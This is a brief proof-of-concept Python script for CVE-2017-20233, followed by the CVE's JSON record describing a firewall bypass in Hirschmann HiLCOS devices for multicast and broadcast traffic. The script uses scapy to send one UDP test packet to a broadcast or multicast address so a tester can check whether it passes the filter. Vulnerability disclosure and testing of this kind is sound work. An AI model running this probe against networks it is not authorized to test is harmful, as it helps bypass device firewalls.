CVE-2017-20233

# PoC for CVE-2017-20233 # This script demonstrates sending multicast/broadcast traffic that may bypass the firewall. # Requires: scapy from scapy.all import * import sys def send_bypass_traffic(target_ip): # Craft a broadcast packet (e.g., to 255.255.255.255) or multicast # This traffic simulates what should be blocked but might pass through pkt = IP(dst=target_ip) / UDP(dport=1900) / Raw(load="CVE-2017-20233 Test Payload") print(f"[*] Sending test packet to {target_ip}...") send(pkt, verbose=0) print("[+] Packet sent. Verify if traffic bypassed the device firewall.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <broadcast_or_multicast_ip>") sys.exit(1) send_bypass_traffic(sys.argv[1])

{"cve": {"id": "CVE-2017-20233", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:16:59.763", "lastModified": "2026-04-07T13:20:55.200", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hirschmann HiLCOS products OpenBAT, BAT450, WLC, BAT867 contains a firewall filtering vulnerability that fails to correctly filter IPv4 multicast and broadcast traffic when management IP address filtering is disabled, allowing configured filter rules to be bypassed. Attackers with network access can inject or observe multicast and broadcast packets that should have been blocked by the firewall."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://assets.belden.com/m/11a07596f0bf1018/original/Security-Bulletin-IPv4-Multicast-HiLCOS-Layer-2-Firewall-BSECV-2017-03.pdf", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/hirschmann-hilcos-layer-2-firewall-multicast-broadcast-traffic-bypass", "source": "[email protected]"}]}}